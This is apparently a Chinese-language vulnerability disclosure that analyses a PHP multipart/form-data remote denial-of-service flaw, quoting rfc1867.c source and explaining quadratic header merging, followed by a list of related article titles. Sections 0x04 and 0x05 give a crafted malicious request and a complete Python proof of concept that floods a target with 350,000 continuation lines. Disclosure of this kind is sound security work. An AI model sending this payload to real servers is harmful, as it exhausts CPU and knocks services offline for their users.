PHP multipart/form-data 遠端DOS漏洞
作者:LiuShusheng_0_
0x00 摘要
PHP解析multipart/form-datahttp
請求的body part請求頭時,重複複製字串導致DOS。遠端攻擊者透過傳送惡意構造的multipart/form-data
請求,導致伺服器CPU資源被耗盡,從而遠端DOS伺服器。
影響範圍:
PHP所有版本
0x01 漏洞入口
PHP原始碼中main/ rfc1867.c
負責解析multipart/form-data
協議,DOS漏洞出現在main/rfc46675pxultipart_buffer_headers
函式。
在詳細分析漏洞函式前,先分析進入漏洞函式的路徑。PHP解析multipart/form-data
http請求體的入口函式在SAPI_POST_HANDLER_FUNC
(rfc1867.c中的函式),程式碼如下。
#!c
/* Get the boundary */
boundary= strstr(content_type_dup, "boundary");
if(!boundary) {
intcontent_type_len = strlen(content_type_dup);
char*content_type_lcase = estrndup(content_type_dup, content_type_len);
php_strtolower(content_type_lcase,content_type_len);
boundary= strstr(content_type_lcase, "boundary");
if(boundary) {
boundary= content_type_dup + (boundary - content_type_lcase);
}
efree(content_type_lcase);
}
if(!boundary || !(boundary = strchr(boundary, '='))) {
sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
return;
}
boundary++;
boundary_len= strlen(boundary);
…
…
while(!multipart_buffer_eof(mbuff TSRMLS_CC))
{
charbuff[FILLUNIT];
char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
size_tblen = 0, wlen = 0;
off_toffset;
zend_llist_clean(&header);
if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
gotofileupload_done;
}
SAPI_POST_HANDLER_FUNC函式首先解析請求的boundary,
0x02 漏洞函式multipart_buffer_headers執行邏輯
進入漏洞函式,本段先分析漏洞函式的執行邏輯,下一段根據函式執行邏輯詳細分析漏洞的原理。multipart_buffer_headers
函式原始碼如下:
#!c
/* parse headers */
static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
{
char*line;
mime_header_entryprev_entry = {0}, entry;
intprev_len, cur_len;
/*didn't find boundary, abort */
if(!find_boundary(self, self->boundary TSRMLS_CC)) {
return0;
}
/*get lines of text, or CRLF_CRLF */
while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
{
/*add header to table */
char*key = line;
char*value = NULL;
if(php_rfc1867_encoding_translation(TSRMLS_C)) {
self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
}
/*space in the beginning means same header */
if(!isspace(line[0])) {
value= strchr(line, ':');
}
if(value) {
*value= 0;
do{ value++; } while(isspace(*value));
entry.value= estrdup(value);
entry.key= estrdup(key);
}else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1);
memcpy(entry.value,prev_entry.value, prev_len);
memcpy(entry.value+ prev_len, line, cur_len);
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);
}else {
continue;
}
zend_llist_add_element(header,&entry);
prev_entry= entry;
}
return1;
}
multipart_buffer_headers
函式首先找boundary,如果找到boundary就執行以下程式碼,逐行讀取請求的輸入以解析body port header:
#!c
while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }
當使用get_line讀入一行字元,如果該行第一個字元line[0]不是空白字元, 查詢line是否存在':'。
如果line存在字元':'
:
value指向':'
所在的記憶體地址。這時if(value)條件成立,成功解析到(header,value)對entry。呼叫zend_llist_add_element(header, &entry)
儲存,並使用prev_entry記錄當前解析到的header,用於解析下一行。
否則,line不存在字元':'
:
認為這一行的內容是上一行解析到header對應value的值,因此進行合併。合併操作執行以下程式碼。
#!c
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1); //為合併value重新分片記憶體
memcpy(entry.value,prev_entry.value, prev_len); //複製上一行解析到header對應value
memcpy(entry.value+ prev_len, line, cur_len); //把當前行作為上一行解析到header的value值,並複製到上一行value值得後面。
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);
首先,為了合併value重新分配記憶體,接著複製上一行解析到的value值到新分配的內容,然後把當前行的字串作為上一行解析到header的value值,並複製到value值得後面。最後呼叫zend_llist_remove_tail(header)
刪除上一行的記錄。執行完後獲得了新的entry,呼叫zend_llist_add_element(header,&entry)
記錄得到的header名值對(header,value)。
0x03 漏洞原理
在multipart_buffer_headers
函式解析header對應value時,value值存在n行。每行的字串以空白符開頭或不存字元':'
,都觸發以下合併value的程式碼塊。那麼解析header的value就要執行(n-1)次合併value的程式碼塊。該程式碼塊進行1次記憶體分配,2次記憶體複製,1次記憶體釋放。當value值越來越長,將消耗大量的cpu時間。如果以複製一個位元組為時間複雜度單位,value的長度為m,時間複雜度為m*m.
#!c
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1); //1次分片記憶體
memcpy(entry.value,prev_entry.value, prev_len); //1次複製
memcpy(entry.value+ prev_len, line, cur_len); //1次複製
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);//1次記憶體釋放
0x04 利用
構造像以下惡意的http請求,當存在350000行a\n
時,在我的測試環境中,一個http請求將消耗10s的cpu時間。每隔若干秒,同時併發多個請求,將導致server端cpu資源長期耗盡,從而到達DOS。總的來說,利用方式和Hash Collision DOS一樣。
------WebKitFormBoundarypE33TmSNWwsMphqz
Content-Disposition:form-data; name="file"; filename="s
a
a
a
…
…
…
a"
Content-Type:application/octet-stream
why is it?
------WebKitFormBoundarypE33TmSNWwsMphqz
0x05 POC
#!python
'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: [email protected]
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
def http_proxy(proxy_url):
proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
#end http_proxy
def check_php_multipartform_dos(url,post_body,headers):
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key,headers[key])
starttime = datetime.datetime.now();
fd = urllib2.urlopen(req,post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime=(endtime - starttime).seconds
if(usetime > 5):
result = url+" is vulnerable";
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result,usetime]
#end
def main():
#http_proxy("http://127.0.0.1:8089")
parser = OptionParser()
parser.add_option("-t", "--target", action="store",
dest="target",
default=False,
type="string",
help="test target")
(options, args) = parser.parse_args()
if(options.target):
target = options.target
else:
return;
Num=350000
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
'Accept-Encoding':'gzip, deflate',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
payload=""
for i in range(0,Num):
payload = payload + "a\n"
body = body + payload;
body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
print "starting...";
respond=check_php_multipartform_dos(target,body,headers)
print "Result : "
print respond[0]
print "Respond time : "+str(respond[1]) + " seconds";
if __name__=="__main__":
main()
相關文章
- PHP Multipart/form-data remote dos Vulnerability2015-12-14PHPORMREM
- multipart form-data boundary 說明2014-05-10ORM
- 客戶端解析伺服器響應的multipart/form-data資料2021-09-09客戶端伺服器ORM
- 理解HTTP協議中的multipart/form-data2021-12-28HTTP協議ORM
- iOS 網路請求之multipart/form-data2017-12-21iOSORM
- vue-resource傳送multipart/form-data資料2017-08-19VueORM
- HTTP multipart/form-data格式之檔案上傳2016-03-14HTTPORM
- Netcore webapi + 後端多檔案多引數 multipart/form-data 上傳2020-11-25NetCoreWebAPI後端ORM
- PHP未明遠端任意檔案上傳漏洞(轉)2007-09-19PHP
- PHP CGI Windows下遠端程式碼執行漏洞2024-06-07PHPWindows
- 從零開始實現multipart/form-data資料提交2020-07-09ORM
- 專案遇到關於 enctype="multipart/form-data" 屬性問題。2003-09-10ORM
- [原創]預警 | Linux 爆“SACK Panic”遠端DoS漏洞,大量主機受影響2019-06-18Linux
- 表單 x-www-form-urlencoded 與 multipart/form-data 區別2019-08-19ORM
- 遠端兼職 PHP2018-11-16PHP
- YoungzsoftCMailServer遠端棧溢位漏洞2017-11-12AIServer
- PHP現反序列化漏洞 或使WordPress遭遠端攻擊2018-08-22PHP
- 【安全公告】PHP多個遠端程式碼執行漏洞風險預警2022-06-16PHP
- 嚴重 PHP 漏洞導致伺服器遭受遠端程式碼執行2024-06-09PHP伺服器
- ThinkPHP遠端程式碼執行漏洞2019-09-12PHP
- phpunit 遠端程式碼執行漏洞2020-10-16PHP
- Apache SSI 遠端命令執行漏洞2020-10-05Apache
- 最新漏洞:Spring Framework遠端程式碼執行漏洞2022-03-31SpringFramework
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- 新的PHP高危漏洞可導致黑客執行遠端程式碼攻擊2019-10-28PHP黑客
- 本人想找PHP兼職(遠端)2021-11-11PHP
- Joomla遠端程式碼執行漏洞分析2020-08-19OOM
- OpenWRT 曝遠端程式碼執行漏洞2020-02-03
- PHPMailer遠端命令執行漏洞復現2020-12-31PHPAI
- PHP DOS漏洞的新利用:CVE-2015-4024 Reviewed2020-08-19PHPView
- form編碼方式application/x-www-form-urlencoded和multipart/form-data的區別2017-08-03ORMAPP
- http請求頭中application/x-www-form-urlencoded和multipart/form-data區別2024-04-17HTTPAPPORM
- Cisco ASA Software遠端認證繞過漏洞2020-08-19
- Windows遠端桌面服務漏洞預警通告2019-05-15Windows
- 什麼是遠端程式碼執行漏洞?2022-07-07
- httpoxy漏洞遠端攻擊PHPPython應用2017-09-01HTTPPHPPython
- 遭遇Tomcat遠端拒絕服務漏洞2017-11-22Tomcat
- ThinkPHP 5.0.23 遠端程式碼執行漏洞2024-04-19PHP